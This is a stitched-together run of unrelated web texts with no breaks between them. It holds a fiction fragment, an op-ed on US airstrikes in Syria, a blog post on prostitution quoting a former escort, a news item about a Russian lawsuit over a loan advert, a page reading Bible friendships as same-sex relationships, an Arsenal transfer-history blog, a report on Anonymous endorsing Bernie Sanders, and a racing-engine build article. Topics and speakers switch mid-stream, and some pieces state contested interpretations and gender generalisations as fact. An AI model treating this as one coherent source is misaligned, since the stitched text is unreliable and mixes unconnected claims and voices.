“Then kill him.” The voice drifted from the vault.
Tito looked at me and shrugged, “Sorry ’bout ’cha.”
They say you never hear the one that gets you.
By Paul R. Pillar
As the United States embarks on a new air war in Syria, disturbing anomalies abound. Some of them were reflected in the front-page headlines of a couple of major U.S. newspapers Tuesday morning, which probably also reflected slightly different deadlines of the two papers but were substantively telling nonetheless.
The Washington Post’s headline was “U.S. Launches Strikes in Syria.” In the corresponding place in the New York Times, in an edition evidently put to bed before the new offensive in Syria could be reported, we read, “Weeks of U.S. Strikes Fail to Dislodge ISIS in Iraq.”
The question that immediately comes to mind is: why should we expect what has failed to dislodge, much less “destroy”, a group in Iraq to succeed if we simply do more of the same thing in Syria? The question is all the more acute given that the United States is aiding and cooperating with the government in Iraq but barely on speaking terms with the one in Syria.
Another disconcerting dichotomy concerns the organizations that were the targets of the newest strikes. The United States announced that it struck not just ISIS but also an al-Qaeda offshoot that has ambitions to conduct terrorist attacks in the West and possibly the United States.
The carefully worded official announcements used the word “imminent” but leave us to conclude that what was imminent was not the carrying out of an actual attack in the West but only perhaps the planning for one, and that striking the group involved hitting a target of opportunity, made convenient by having these strikes coincide with the strikes against ISIS in Syria.
But at least terrorist attacks in the West, consistent with the al-Qaeda strategy of attacking the “far enemy,” are evidently part of this group’s ambitions, underscoring that this is not the case with ISIS, which is following a quite different strategy of trying to build its self-styled caliphate through direct application of force in the Middle East.
So why have President Barack Obama and others spoken so darkly about a terrorist threat to us from ISIS, especially when before Monday they had not even mentioned this other group? (The correct answer to that question can be found in our own fears, politics, and habitual ways of thinking about foreign threats.)
The very complicated lines of conflict and suspicion that are relevant to the ISIS story and are barely concealed by affixing the term “coalition” to a subset of the players give rise to other anomalies. Russia criticized the United States for using force in Syria without obtaining something like an authorization from the United Nations Security Council; Iran made a similar criticism, albeit in a rather mild and pro forma way.
But the regime in Syria, the country the Russians and Iranians have both considered an ally and whose sovereignty they evidently were sticking up for, sounded more positive. The United States, we are repeatedly told, did not “coordinate” with the Assad regime, but it informed that regime in advance about the strikes, and the regime tacitly cooperated by not using its air defense capabilities to mess with the forces conducting the strikes.
That leads to the uncomfortable unanswered question about the desired political end state in Syria. Nothing that has been said since the strikes has helped to answer that question. The operations director of the U.S. Joint Chiefs of Staff essentially changed the subject when reporters asked about whether the air attack would aid the Assad regime.
The “moderate” Syrian opposition, in whom the only apparent hope for answering the unanswered question has been placed, displayed this week some of the divisions that have been a major source of their weakness. The president of the Syrian Opposition Coalition made a positive statement, but the commander of Harakat Hazm, a rebel group often talked about as moderate and reliable enough to be entrusted with U.S. lethal assistance, said “the only beneficiary of foreign intervention in Syria is the Assad regime.”
Those are some of the most obvious anomalies about this offensive. We ought to be at least as disturbed about some of the effects that may be less immediately visible, especially effects in hearts and minds of people in the region.
The U.S. military has again demonstrated its awesome technical precision, in which it seems it is almost capable of firing a missile through the window of a bathroom and killing the person on the toilet while sparing others in the same house. But even with these technical capabilities, casualties among the innocent are inevitable.
Reportedly there were civilian casualties from this week’s strikes in Raqqa, the principal ISIS-held town in Syria. An unemployed university graduate in Raqqa said afterward, “We know the history of American strikes in Afghanistan, Iraq and Yemen. When civilians are going to be killed, sorry is not enough.”
And whatever are the actual facts about collateral damage and casualties, the usual suspicions and cynicism that come into play whenever the superpower uses its military muscle in this part of the world are being aroused by this latest U.S. action.
The sentiments are those of the columnist in Egypt’s Al Ahram who wrote that the United States and its allies “want to divide our lands, destroy our nations, occupy our homelands and monopolize our choices, without shedding one drop of their blue blood. They have no problem that our cheap Arab blood flows in rivers, it it achieves their goals and purposes.”
Such beliefs are grossly inaccurate and unfair, of course, but the beliefs exist. If we are worried about anti-U.S. terrorism, we ought to worry at least as much about such perceptions and sentiments, and about the extremism they nurture, as about the kind of kinetic accomplishments that can be observed with a gun camera or a reconnaissance drone.
In an earlier post, I ponder whether prostitution is evolutionarily familiar or evolutionarily novel and whether men try to impress prostitutes. My musing was prompted by an anecdote from Superfreakonomics. A venture capitalist in Chicago attends one of Steve Levitt's lectures. Later on the same night, he has a "date" with a $300/hour prostitute named Allie. The venture capitalist notices a copy of Freakonomics in Allie's apartment, and mentions that he has just attended a lecture given by one of the coauthors of the book, in an apparent attempt to impress Allie. In Levitt and Dubner's words, "The male instinct to impress the female is apparently strong even when the is already bought and paid for."
After her encounter with the venture capitalist, Allie contacted Levitt, which is why Levitt knows about the encounter. Allie and Levitt met in person a few days later, strictly for the purpose of academic research (or at least so says Levitt), they have become , and Levitt even invited Allie to give a guest lecture in the "Economics of " course that he teaches at the University of Chicago. Several students afterwards commented to Levitt that Allie's lecture was the single-best lecture that they had attended in all their years at the University of Chicago, "which is both a firm testament to Allie's insights and a brutal indictment of Levitt and the other professors." (The Department of Economics at Chicago is the best economics department in the world and has produced more Nobel laureates than any other single department.)
Meanwhile, back at the Scientific Fundamentalist blog, my earlier post caught the of a retired prostitute named Maggie. She contacted me out of the blue (just like Allie contacted Levitt out of the blue) and corrected some misconceptions that I had about prostitution. She saw right through me and correctly surmised that I had no personal experience or knowledge of prostitution. Essentially, I didn't know what I was talking about. Maggie very politely pointed out some of my misconceptions. Since I cannot really say it any better than she did in her initial email message to me, I'll quote her message here.
This [my distinction between prostitutes and "ordinary women"] presumes that prostitutes are fundamentally different from what I call "amateurs," which we aren't; your assumption seems to be based on the fallacies that 1) prostitutes provide a consistent level of service no matter how we're treated; and 2) to a man, all sex is good sex. While the second statement may certainly be true of some men, especially those who patronize streetwalkers, it isn't by any stretch of the imagination true of most; the average client of a $300/hour hooker (which was exactly what I charged) wants a good, quality "girlfriend experience" (GFE), which will be much more likely if he treats his "date" like a lady. Most escorts who are treated as though they're "bought and paid for" will try to complete the act as quickly as possible and get such a client out the door. Furthermore, in my experience, the typical client enjoys the illusion that a beautiful woman wants to spend time with him, even if he intellectually knows she is there for the money. I guarantee you that the majority of my clients tried their utmost to impress me, even to the point of bringing me gifts, flowers, and the like.
Another mistake that I made, which Maggie implicitly points out in her message above, is to treat all of prostitution (and all prostitutes) as one monolithic and undifferentiated entity. It appears that educated and (and, yes, very expensive) call girls like Allie and Maggie are very, very different from common streetwalkers and $2 hookers in the bushes. I almost get the , both from reading about Allie and other prostitutes in Superfreakonomics and from communicating with Maggie, that high-class prostitutes like Allie and Maggie have more in common with college professors, corporate executives, or poets than with the more affordable and visible members of their profession.
So the answer to the earlier question "Do men try to impress prostitutes?" appears decidedly Yes. Prostitution is evolutionarily familiar, because is evolutionarily familiar and prostitutes (at least the classy ones) are no different from other women, whom men also have to pay – not in cash payments but in dinners and movies, gifts, flowers, chocolates, and motor oil – if they wanted to impress them enough to have sex with them.
Of course, this does not answer the question of why more intelligent men are more likely to have had sex with a prostitute. But Maggie has an idea.
Intelligent men are less likely to believe in silly propaganda against us, and less likely to have the kind of fragile masculine ego which would be wounded by "having to pay for it." The intelligent man knows that "free tail is the most expensive kind," and can make the reasonable and pragmatic decision to spend his money on a "sure thing" rather than chasing women whose price and quality are uncertain.
Anyway, I have learned so much from Maggie as Levitt has from Allie. I would highly recommend my readers to check out her blog The Honest Courtesan. As you will see, Maggie and I share a lot in common, including our shared disdain for modern feminism (or what Maggie calls "neofeminism"). This is what she says.
What is a Neofeminist? If you read this site for any length of time you will encounter the term "neofeminist." This is my own coinage, because I refuse to apply the term "feminist" to a sort of twisted male chauvinist who believes that women are not good enough as we are and should therefore strive to think, act, work and look as much like men as possible. This is in sharp contrast to "archeofeminists" like myself, who recognize that women are just fine as we are and would in fact be weakened by becoming more like men.
Yulia Panferova, 33, from St. Petersburg, borrowed 5,000 roubles - around £66 - at the end of August and quickly settled her debt.
She told Savelovsky district court in Moscow that the loan company stated on it website that 'at the moment of paying off the debt' clients 'feel an inner satisfaction and calmness that is comparable to the state after having an orgasm'.
Yulia Panferova, 33, from St Petersburg, is pictured here paying back her debt in Russia
Panferova is suing a credit company because she did not feel as if she'd had an orgasm after paying back a micro loan - as the lender promised in its advertising
The 33-year-old is seen pointing at the camera as a member of staff laughs in the background
She claimed: 'This particular web article induced me to sign the micro credit contract.'
When she visited the loan company office repay the debt 'my mood did not get better'.
She complained: 'I didn't feel inner satisfaction and calmness as described.'
Lifestyle coach Panferova has demanded 999,999.99 roubles (£13,200) compensation from BystroDengi - meaning QuickMoney - over the absent orgasmic feelings, say reports in Russia.
Yulia Panferova, 33, from St. Petersburg, borrowed 5,000 roubles - around £66 - at the end of August and quickly settled her debt
Panferova, left, told Savelovsky district court in Moscow that the loan company stated on it website that 'at the moment of paying off the debt' clients 'feel an inner satisfaction and calmness that is comparable to the state after having an orgasm'
The court confirmed it is examining her claim.
'No decision has been reached,' said a spokesman.
Panferova is married to architect Oleg Vasiliev, four years her junior.
She has previously hit the headlines in Russia for advising women not to have sexual relations with men earning less than one million roubles a month (£13,200).
The Bible and homosexuality Same-sex relationships in the Bible Sponsored link.
Conservative and Liberal Views: Standard Disclaimer We will attempt to give interpretations of key passages of the Bible from both a conservative (fundamentalist and other evangelical) and from a liberal position. Speaking generally: Conservative Christian theologians tend to accept English translations of the Bible, such as the New International Version (NIV) and the King James Version (KJV) as authoritative. They generally accept the inerrancy of the Bible. They interpret passages literally, unless there is a good reason not to. They consider all Bible passages as instructive in today's society. When they see any same-sex activity condemned, they believe that this applies to all homosexual activities, regardless of the nature of the relationship. Homosexuality is a chosen, unnatural, abnormal, changeable, and perverted lifestyle, which is hated by God.
Liberal Christian theologians tend to follow a wider variety of translations, and to be more concerned with instances of copying errors in the original Hebrew or Greek, of forgeries, and of biases among the translators. They consider some passages (e.g. those referring to slavery, burning some hookers alive, forcing rape victims to marry their rapists, raping female prisoners of war, etc.) as not being valid today, as immoral, and against the will of God. They differentiate among various homosexual and heterosexual sex practices, treating some (rape, prostitution, temple sex rituals) as immoral and some (consesual activity within committed relationships) as positive. Homosexual orientation and behavior is seen as a normal human sexual expression among a minority of adults. It is discovered, not changeable or chosen. Like all sexual behavior, it can be a sin if it is exploitive,r manipulative, or not carried out safely within a committed relationship. Summary: The Bible describes three emotionally close relationships between two people of the same gender. They appear to have progressed well beyond a casual friendship. There is, however, no unmistakable evidence that they were sexually active relationships. The individuals are: Ruth and Naomi
David and Jonathan
Daniel and Ashpenaz Ruth and Naomi Ruth 1:16-17 and 2:10-11 describe their close friendship Perhaps the best known passage from this book is Ruth 1:16-17 which is often read out during either opposite-sex and same-sex marriage and union ceremonies: "Where you go I will go, and where you stay I will stay. Your people will be my people and your God my God. Where you die I will die, and there I will be buried. May the Lord deal with me, be it ever so severely, if anything but death separates you and me." (NIV) Ruth 1:14, referring to the relationship between Ruth and Naomi, mentions that "Ruth clave onto her." (KJV) The Hebrew word translated here as "clave" is identical to that used in the description of a heterosexual marriage in Genesis 2:24: "Therefore shall a man leave his father and his mother, and shall cleave unto his wife: and they shall be one flesh." (KJV) This book was probably included in the Hebrew Scriptures because King David was one of the descendents of Ruth. Although this same-sex friendship appears to have been emotionally very close, there is no proof that it was a sexually active relationship. David and Jonathan Passages in 1 Samuel & 2 Samuel describe, among other events, a extremely close bond between David and Jonathan. Jonathan was the son of King Saul, and next in line for the throne. But Samuel anointed David to be the next king. This produced a strong conflict in the mind of Saul. Interpretation: Religious conservatives generally view the friendship of David and Jonathan as totally non-sexual. They find it inconceivable that God would allow a famous king of Israel to engage in same-gender sexual activity.
Some religious liberals believe that David and Jonathan had a consensual homosexual relationship - in many ways, a prototype of many of today's gay partnerships. 7 Some important verses which describe their relationship are: 1 Samuel 18:1 "...Jonathan became one in spirit with David and he loved him as himself." (NIV) "...the soul of Jonathan was knit with the soul of David, and Jonathan loved him as his own soul" (KJV) Most translations use the term "soul" rather than "spirit" to describe the bond. They speak of an "immediate bond of love", their souls being "in unison," their souls being "knit" etc. Genesis 2:7, as written in the original Hebrew, describes how God blew the spirit into the body of Adam that God had formed from earth, so that Adam became a living soul. This means that "soul", in the ancient Israelite times, represents a combination of body and spirit. Thus the two men appear to have loved each other both physically and emotionally.
1 Samuel 18:2 "From that day, Saul kept David with him and did not let him return to his father's house." (NIV) David left his parent's home and moved to Saul's where he would be with Jonathan. This is a strong indication that the relationship was extremely close. It echoes the passage marriage passage in Genesis 2:24: "Therefore shall a man leave his father and his mother, and shall cleave unto his wife: and they shall be one flesh."
1 Samuel 18:3-4 "And Jonathan made a covenant with David because he loved him as himself. Jonathan took off the robe he was wearing and gave it to David, along with his tunic, and even his sword, his bow and his belt." (NIV) Since people in those days did not wear underwear, Jonathan stripped himself naked in front of David. That would be considered extremely unusual behavior (then and now) unless their relationship was sexual in nature.
1 Samuel 18:20-21 "Now Saul's daughter Michal was in love with David, and when they told Saul about it, he was pleased. 'I will give her to him', he thought, 'so that she may be a snare to him and so that the hand of the Philistines may be against him'. Now you have a second opportunity to become my son-in-law" (NIV) In the King James Version, the end of Verse 21 reads: "Thou shalt this day be my son-in-law, in the one of the twain." (KJV) Saul's belief was that David would be so distracted by a wife that he would not be an effective fighter and would be killed by the Philistines. He offered first his daughter Merab, but that was rejected, presumably by her. Then he offered Michal. There is an interesting phrase used at the end of verse 21. In both the NIV and KJV, it would seem that David's first opportunity to be a son-in-law was with the older daughter Merab, and his second was with the younger daughter Michal. The KJV preserves the original text in its clearest form; it implies that David would become Saul's son-in-law through "one of the twain." "Twain" means "two", so the verse seems to refer to one of Saul's two daughters. Unfortunately, this is a mistranslation. The underlined phrase "the one of" does not exist in the Hebrew original. The words are shown in italics in the King James Version; this is an admission by the translators that they made the words up. Thus, if the KJV translators had been truly honest, they would have written: "Thou shalt this day be my son-in-law, in the twain." In modern English, this might be written: "Today, you are son-in-law with two of my children" That would refer to both his son Jonathan and his daughter Michal. The Hebrew original would appear to recognize David and Jonathan's homosexual relationship as equivalent to David and Michal's heterosexual marriage. Saul may have approved or disapproved of the same-sex relationship; but at least he appears to have recognized it. The KJV highlight their re-writing of the Hebrew original by placing the three words in italics; the NIV translation is clearly deceptive.
1 Samuel 20:41 "After the boy had gone, David got up from the south side of the stone and bowed down before Jonathan three times, with is face to the ground. Then they kissed each other and wept together - but David wept the most." (NIV) Other translations have a different ending to the verse: "...and they kissed one another and wept with one another, until David exceeded." (KJV)
"...and they kissed one another and wept with one another until David got control of himself." (Amplified Bible)
"and they sadly shook hands, tears running down their cheeks until David could weep no more." (Living Bible)
"They kissed each other and wept together until David got control of himself." (Modern Language)
"They kissed each other and wept aloud together." (New American Bible)
"Then David and Jonathan kissed each other. They cried together, but David cried the most." (New Century Version)
"Then they kissed one another and shed tears together, until David's grief was even greater than Jonathan's." (Revised English Bible)
"...and they kissed one another and wept with one another until David recovered himself." (Revised Standard Version) The translators of the Living Bible apparently could not handle the thought of two adult men kissing, so they mistranslated the passage by saying that the two men shook hands! This is somewhat less than honest. The original Hebrew text says that they kissed each other and wept together until David became large. The word which means "became large" in this passage is "gadal" in the original Hebrew. The same word is used elsewhere in the Hebrew Scriptures to refer to King Solomon being greater than all other kings. Some theologians interpret "gadal" in this verse as indicating that David had an erection. However, the thoughts of David becoming sexually aroused after kissing Jonathan may have been too threatening for Bible translators. They either deleted the ending entirely or created one of their own.
2 Samuel 1:26 "I grieve for you, Jonathan my brother; you were very dear to me. Your love for me was wonderful, more wonderful than that of women." In the society of ancient Israel, it was not considered proper for a man and woman to have a platonic relationship. Men and women rarely spoke to each other in public. Since David's only relationships with women would have been sexual in nature, then he must be referring to sexual love here. It would not make sense in this verse to compare platonic love for a man with sexual love for a woman; they are two completely different phenomena. It would appear that David is referring to his sexual love for Jonathan.
Sponsored link: Daniel and Ashpenaz Daniel 1:9 refers to Ashpenaz, the chief of the court officials of Nebuchadnezzar, the King of Babylon. Various English translations differ greatly: "Now God had caused the official to show favor and sympathy to Daniel" (NIV)
"Now God had brought Daniel into favor and tender love with the prince of the eunuchs" (KJV)
"Now God made Daniel to find favor, compassion and loving-kindness with the chief of the eunuchs" (Amplified Bible)
"Now, as it happens, God had given the superintendent a special appreciation for Daniel and sympathy for his predicament" (Living Bible)
"Then God granted Daniel favor and sympathy from the chief of the eunuchs" (Modern Language)
"Though God had given Daniel the favor and sympathy of the chief chamberlain..." (New American Bible)
"God made Ashpenaz want to be kind and merciful to Daniel" (New Century Version)
"And God gave Daniel favor and compassion in the sight of the chief of the eunuchs" (Revised Standard Version)
"God caused the master to look on Daniel with kindness and goodwill" (Revised English Version) Interpretation: Religious conservatives generally view the friendship of Daniel and Ashpenaz as totally non-sexual. It is inconceivable that God would allow a famous prophet of Israel to engage in a same-gender sexual relationship.
Some religious liberals detect the possibility of a homosexual relationship here. The Hebrew words which describe the relationship between Daniel and Ashpenaz are chesed v'rachamim The most common translation of chesed is "mercy". V'rachamim is in a plural form which is used to emphasize its relative importance. It has multiple meanings: "mercy" and "physical love". It is unreasonable that the original Hebrew would read that Ashpenaz "showed mercy and mercy." A more reasonable translation would thus be that Ashpenaz "showed mercy and engaged in physical love" with Daniel.
Of course, this would be unacceptable to later translators, so they substitute more innocuous terms. The KJV reference to "tender love" would appear to be the closest to the truth. One might question whether Daniel and Ashpenaz could sexually consummate their relationship. They were both eunuchs. Apparently, when males are castrated after puberty, they still retain sexual drive. It is interesting to note that no other romantic interest or sexual partner of Daniel was mentioned elsewhere in the Bible. A related essay on this web site: Eight types of marriages and families in the Bible... Copyright © 1997 to 2012 by Ontario Consultants on Religious Tolerance
Latest update: 2012-FEB-29
Author: B.A. Robinson
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Transfer deadline day was a lot different in the 1980s. The deadline arrived at 5pm on a Thursday in March and it was very low-key compared to what we see today. Sky Sports did not exist and Jim White did not have to deal with sources, shouty men standing in the dark surrounded by bored teenagers, young men acting like fools behind attractive young presenters, or clubs announcing derisory offers to fans.
To find the headlines we had Ceefax, page 302, and a few stories in the papers the next day to summarise the main deals. Deadline day seemed so much more laid back during my childhood. In a strange way, I might have actually preferred the pre-satellite TV and internet transfer days.
So here is a look back at some of the signings and near-misses involving my club Arsenal around transfer deadline day in the 1980s. Some turned out badly, others were great, and a few got away.
Peter Nicholas in March 1981
Liverpool's Ray Kennedy is challenged by Arsenal's Peter Nicholas. Photograph: Bob Thomas/Getty Images
Liam Brady was a football genius. He had a left foot like a wand; his mazy dribbles and pinpoint passes could open up defences for fun; and one of my biggest regrets is that I was too young to have seen him in an Arsenal shirt. Having said that, his sale to Juventus was a heartbreaker for Arsenal fans. The absence of Brady throughout the 1980-81 season left a gaping hole that realistically could not be filled.
One midfielder purchased post-Brady was the Welsh international Peter Nicholas. Bought for £500,000 on the 1981 transfer deadline day (£400,000 plus David Price going to Crystal Palace in exchange), the Welsh international was your typical British midfielder of the time: industrious, hard-tackling, robust, energetic.
Although his arrival coincided with an unbeaten Arsenal run of nine matches until the end of the season, Nicholas' time at Arsenal was hardly a success. The fact that five-sixths of the Brady money was spent on Nicholas hardly helped matters – it was a bit like selling Cesc Fàbregas for £30m and spending £25m on Lee Cattermole (no disrespect to Cattermole; funny how you can say no disrespect and then promptly say what you want) – but, in fairness to Nicholas, this was hardly his doing.
Most reviews of Nicholas were damning. Jon Spurling, writing in his excellent All Guns Blazing account of Arsenal in the 1980s, was certainly not a fan: "Palace, who had been dubbed 'the team of the eighties' were about to be relegated and this should have been warning enough to Terry Neill that we could do without this particular 'talisman'." And the praise just kept on coming: "Immediately we saw that he could dig in and boot the ball a bloody long way but we had these qualities in abundance anyway." Not a ringing endorsement.
Strangely enough, the Arsenal website describes Nicholas as "an instant hit with the Arsenal fans". It would be interesting to hear the opinions of any Arsenal fans old enough to have been lucky or unlucky enough to have seen the man maraud around Highbury. I only recall the tail-end of his career, and the fact that we had an international player in our team excited me a lot. I was only seven though and had a lot to learn.
Garry Thompson in March 1982
Garry Thompson, Steve Walford, Gary Gillespie and Les Sealey leap for the ball during a match between Arsenal and Coventry City at Highbury. Photograph: Central Press/Getty Images
Such was Nicholas' impact, or lack of it, that within a year he was offered in part-exchange in a deadline deal to bring Coventry's Garry Thompson to Arsenal. The bustling England Under-21 centre-forward was an exciting prospect at the time, and Arsenal were certainly in need of some striking options after the bitter departure of Frank Stapleton in the summer of 1981. The Thompson deal broke down though, as Coventry demanded £500,000 plus Peter Nicholas. After experimenting with the delights Hankin and Hawley, Terry Neill's prolonged search eventually led him to the horrors of Lee Chapman. Oh dear.
Nicholas was most put out at being offered as a makeweight, originally hearing about a possible deal when his wife spoke to him in Spain as he prepared to play for Wales: "Being told you are set for a move a couple of hours prior to a big international is not the way to do things in my opinion."
Neill was also frustrated, but for different reasons: "Somewhere along the line, people in the game have to realise that the transfer market is dead." At the time he had a point, as dropping attendances and the previous wasteful spending of clubs meant that the usual deadline day rush seemed a thing of the past.
This didn't help the mood of any Arsenal supporters, however. In the space of a year, Arsenal had lost both their best player abroad and their star striker to Manchester United. I can't imagine that happening in this modern era though, can you? Oh.
Alan Smith in March 1987
Now for a happier foray into the transfer market. During his first season, George Graham had been very quiet in the transfer market even though certain aspects of the team needed addressing (sounds familiar), but he finally dusted off the cheque book on deadline day to bring in a centre-forward he had admired for some time: "He is a team player and an all-rounder, not just a penalty box performer. I hope he will give the side dimension."
Alan Smith would not join Arsenal immediately – he was loaned back to Leicester for the remaining part of the season, much to the annoyance of Leicester's fellow relegation strugglers – but, from the start of the 1987-88 season, Charlie Nicholas' days were numbered.
Despite a hat-trick against Portsmouth, Smith endured a hard start to his Arsenal career, at one point going a full two months without scoring, leading to much criticism on and off the terraces. But Smith would prove his worth in the long term, two golden boots in Arsenal's title wins, the first goal at Anfield in that match, and a winner in the Cup-Winners' Cup final undoubted highlights in his Arsenal career.
The catalyst for Smith's improved form from the summer of 1988 onwards had arrived from Sheffield in March 1988. Which brings us nicely on to....
Brian Marwood in March 1988
Brian Marwood. Photograph: Antonia Hille/Getty Images
Admittedly this wasn't strictly a deadline deal, as Marwood was purchased a couple of days before the final day, but this signing has to be included, due to the relatively short-term impact it had on the team. Bought by Graham for £600,000, the manager was naturally delighted at his latest acquisition: "He has two good feet and can play on the left or right-hand side. He is ideal for my squad."
Towards the end of the 1987-88 season, winger Marwood scored on his home debut against Coventry, and began to ping in the deadly accurate crosses upon which Smith would thrive in the title-winning campaign to follow.
Marwood was at his best at the start of the 1988-89 season, when the goals and assists flowed. One performance in a live match at Forest was particularly impressive, with Marwood skinning Des Walker for Arsenal's final goal in a 4-1 win. Nine goals many assists from the wing in 31 league games would have made him a dream Fantasy Football purchase had the game existed back then. More importantly though, his part in the 1988-89 title win was priceless.
He missed the Anfield match with injury, but he was at the ground in a club blazer to celebrate the unlikely victory. He fully deserved to be. We may have only had "Brian, Brian Marwood on the wing" for a relatively short space of time, but what a signing.
Frank McAvennie in March 1989
Frank McAvennie applauds the West Ham fans on his return to the club. Photograph: Action Images
Frank McAvennie is one that got away, and in hindsight perhaps we were lucky. When he decided to leave Celtic and return to West Ham in preference over Arsenal, more than a few eyebrows were raised. The Hammers were in the middle of a relegation fight – one they would lose come the end of the season– and with Arsenal top of the table, surely McAvennie's destination was obvious?
Graham's last-minute bid for the player highlighted that Arsenal's title bid was beginning to hit the buffers, and that maybe some fresh blood was needed. Yet McAvennie opted for a doomed spell back at Upton Park, saying that loyalty was a major reason behind his decision; although Arsenal's reluctance to break their wage structure for him and the looming eye of disciplinarian Graham may have had something to do with it.
It is a pretty frightening to consider the parallel universe in which McAvennie's joined Arsenal. Would the club have won the league? What would have happened in subsequent seasons? Would Graham have been able to control McAvennie's off-field excesses (it's doubtful) and got the best out of him?
In reality, the signing would probably have been a complete disaster, and McAvennie may well have been lumped in with the likes of Rodney Marsh or Faustino Asprilla as scapegoats (fairly or unfairly) for failed championship run-ins. We will never know of course, but a penny for McAvennie's thoughts on the evening of May 26, 1989.
• This is an article from our Guardian Sport Network
• This blog first appeared on That 1980s Sports Blog
The endorsement takes the form of a list, which gives ten reasons to vote for the self-declared democratic socialist candidate. Anonymous cite Sanders’ support for a new Glass Steagall act, which would prevent commercial banks from participating in investment banking, and Sanders’ desire to break up the big banks. On the latter issue Sanders stands in stark contrast to Republican Donald Trump, who would allow the “too big to fail” banks to retain their massive size.
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Anonymous also praised Sanders for his opposition to the NAFTA and the TPP, which it sees as corrupt trade agreements, Sanders’ stance against overcriminalization, his support for marijuana decriminalization, his opposition to the Iraq War and the Patriot Act, his refusal to degrade minorities or accept money from the rich, and finally, the very reluctance of the media to support Sanders, which Anonymous sees as akin to evidence of Bernie’s worthiness.
“The corporate mainstream media hates Bernie and censors him, attempting to make it look like he endorses Hillary. Trump gets WAY more mainstream coverage than Bernie despite both polling similarly. If you want to choose someone who wasn’t handpicked for you, then Bernie is your best best.”
Anonymous adds that Bernie Sanders is the only candidate that “wasn’t hand-picked for you” — probably a reference to Sanders’ long and successful stint as an Independent and his rise to the status of a serious presidential contender following a campaign that sought grassroots support rather than establishment favors.
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Anonymous is also in the news for declaring a new cyber war on Turkey, due to their belief that Turkey supports ISIS, as reported by RT.
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Sanders’ campaign is reportedly fundraising better than Obama’s did in 2008, when Obama beat out favorite Hillary Clinton to win the nomination, then the presidency.
“We have received in this campaign 2.3 million individual contributions. Two point three million. And that comes from a hair less than a million people. Almost a million people making contributions. Now, why is this important? Well number one, it’s important because that’s more contributions that have come into a campaign than any campaign in American history up into this point. So Obama did very, very well in both 2008 and 2012, but at this particular point, we are doing better.”
Sanders has accused the media of failing to publicize his campaign even as a groundswell of grassroots support propped him and his team up, beginning in Vermont, where Sanders found his first supporters, and spreading around the country.
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Sanders has blasted Republican candidate Donald Trump, who earns a whopping 81 minutes of media attention for every 20 seconds enjoyed by Sanders. Sanders called Trump a “pathological liar” after Trump claimed to have seen Muslims celebrating the 9/11 terror attacks against the United States. Trump went on to make a call for a ban on Muslims entering the United States.
The Democrat characterized Trump’s lying as “extraordinary.”
“I think much of what he says are lies or gross distortions of reality.”
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Does Anonymous have good reason to endorse Bernie Sanders?
The record shot will be taken by Andy Loyd and Gene McFaddin of Bad Andy’s Speed Shop in Houston, Texas. But Bad Andy’s Speed Shop isn’t what you think—you can’t buy parts there and can’t have your car built… it’s simply a place for Loyd and McFaddin to play with cars. The car in question that will receive this engine is SloPoke, a highly-modified fourth-gen Camaro that will feature noted tuner Josh Ledford behind the wheel when its Bonneville aspirations become reality.
But you came here to learn about the engine that Venom Racing Engines has designed for this beast, so let’s get to it. Venom’s Jim Gray and Reid Sanders are the masterminds of the project, which spun the dyno needle to 800.7 horsepower at 8,994 rpm just before it was shut down.
“Josh approached us last year about building the engine for Andy,” says Sanders.
When you consider that the Bonneville Salt Flats course has a five-mile length, you begin to realize that the engine is required to sing its song for as long as possible to get the car to its maximum speed through the traps. Obviously, tall gearing plays a big part in that capability, but this engine had to be designed to run at maximum RPM for long stretches of time, not the typical few seconds of an all-out drag car running the quarter-mile.
To do this requires a fair bit of engineering prowess from Venom Racing Engines, which developed the engine package in-house.
The foundation is based around an LS Next block from Dart that’s been outfitted with bushed .937-inch lifter bores, 55mm roller camshaft bearings, and a set of piston squirters to help keep the underside of the pistons cool during those looooong pulls on the salt.
The engine uses a 4.030-inch bore, stock-stroke 3.622-inch Magnum XL lightweight crankshaft from Callies, 6.200-inch connecting rods from Molnar Technologies, and vertical gas-ported CP pistons that were designed to VRE specs with altered ring pack locations and dimensions for this particular combination.
“We added some underhead milling to the pistons to lighten them up, and we’re using DLC-coated pins to help keep friction down. We also have a .9mm/.9mm/2.0mm ring pack on these pistons, and between us being able to finish the cylinder bores right and the Dailey dry sump setup we were able to pull 25 inches of vacuum on the dyno with no additional vacuum pump,” says Sanders.
We found it interesting that the engine uses the small bore and stock stroke rather than a large bore and long stroke, but according to Sanders, there’s a specific reason these specifications were chosen.
“240 miles per hour is the goal, so in order to be able to pull that at Bonneville you’re going to need a tall gear in it. With that in mind we decided to leave a little more stroke in it and sacrifice the bore size to help pull through that. The torque curve reflected it as it’s pretty flat,” says Sanders.
To get the compression maxed at 15.8:1, they had Mast Motorsports send its Straight Jacket cylinder heads to CP, where the chamber was digitized to help design the piston dome.
A custom low-lash solid roller camshaft was developed in-house at VRE to get the air into and out of the cylinders efficiently, then brought to life by Cam Motion. Jesel tie-bar roller lifters, belt drive, and rocker arms work in conjunction with Trend 7/16-inch .165-inch-wall pushrods and PAC springs to actuate the Trick Titanium valves. As you might expect, weight reduction in the area of the valvetrain received special consideration.
The induction system presented its own concerns during the development and tuning process. With a pair of Accufab 6500 four-hole throttle bodies on top of a custom M&M Competition fabricated intake manifold, managing airflow when the throttle is cracked open became a priority.
“The tuning aspect of it was pretty fun—that’s a large door opening on a pretty small engine. We tuned it on the dyno and we’ll be working with Josh when we’re out there at Bonneville. We thought the big throttle bodies were going to be a challenge, but they weren’t. You breathe on the linkage and it goes to 22 percent TPS in a hurry,” says Sanders.
VRE selected the Straight Jacket cylinder heads for one reason in particular.
“They were the baddest heads we could get to work with the 4-inch bore,” says Sanders.
Specific attention is paid to the oiling system for engines that compete at Bonneville. With such long runs, it would be extremely easy for an engine to push all of the oil to the top end, starving the crankshaft of necessary lubrication. Sanders worked through that challenge by employing a number of different engine design elements to prevent the issue as much as possible.
“We wanted to use the roller bearing design for the camshaft because it shuts off the oil supply and keeps more of it at the mains,” says Sanders. “For an extended period of wide-open throttle, we’d rather have the oil at the mains than at the camshaft.”
In addition, a dry-sump five-stage oiling system was sourced from Dailey Engineering to ensure that the oil was scavenged as efficiently as possible to help keep the engine running smoothly. They’re also employing a Spintric air/oil separator to help prevent the oil from foaming.
“It has a billet pan, the pump bolts right to the pan, and there are no scavenge lines. We knew with the piston squirters there was likely to be some windage happening inside the engine, but we were willing to sacrifice that to keep everything oiled,” he says.
Initially, they had a set of valve covers with spring oilers inside, but quickly found out that they might be just a bit too much.
